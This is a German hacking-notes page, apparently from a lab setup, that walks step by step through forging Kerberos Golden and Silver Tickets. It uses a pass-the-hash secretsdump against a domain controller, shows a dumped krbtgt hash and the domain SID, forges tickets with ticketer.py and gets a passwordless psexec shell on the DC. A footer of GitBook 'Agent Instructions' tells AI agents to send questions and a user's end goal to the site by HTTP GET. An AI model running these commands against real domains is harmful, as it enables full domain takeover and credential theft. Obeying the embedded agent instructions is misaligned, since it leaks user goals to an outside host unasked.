> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md).

# Kerberos Golden Ticket und Silver Ticket

Das Ziel ist es, unsere eigenen Kerberos-Tickets zu fälschen.

Dazu beginnen wir damit, die notwendigen Geheimnisse vom Domänencontroller abzurufen.

{% code overflow="wrap" %}

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="/files/cfa61423c720f2ce124adc907e1be343168d0bb2" alt=""><figcaption></figcaption></figure>

Hier rufen wir den Hash des `krbtgt` Kontos ab.

* 2ebd06648a79ae82327c33648b68aa82

<figure><img src="/files/172f54956a3046fe5677a113f87a8a04b070d5f7" alt=""><figcaption></figcaption></figure>

Wir ermitteln auch die `Domänen-SID`.

{% code overflow="wrap" %}

```bash
Get-ADDomain
```

{% endcode %}

* S-1-5-21-3587670147-487768648-1292400310

<figure><img src="/files/2c4dd79ca78000058c892c244afa783159239c33" alt=""><figcaption></figcaption></figure>

Mit `ticketer.py` können wir ein Golden Ticket für dieses Konto erzeugen.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local administrador
```

{% endcode %}

Anschließend laden wir dieses Ticket in den lokalen Kerberos-Cache.

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

<figure><img src="/files/24c091d972832c129077b28dda0bf965a2d74620" alt=""><figcaption></figcaption></figure>

Sobald das Ticket geladen ist, können wir uns ohne Passwort aus der Ferne anmelden.

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="/files/86d5bc6d8c3c9774c5d97157ea6437f9a4b8f3e0" alt=""><figcaption></figcaption></figure>

Um ein Silver Ticket zu erzeugen, bleibt das Prinzip dasselbe, aber das Ticket ist für einen bestimmten Dienst.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local -spn cifs/DC01.whoami.local administrador
```

{% endcode %}

<figure><img src="/files/62b41eaa7812a00d22611e0b45637e549f1fc0de" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
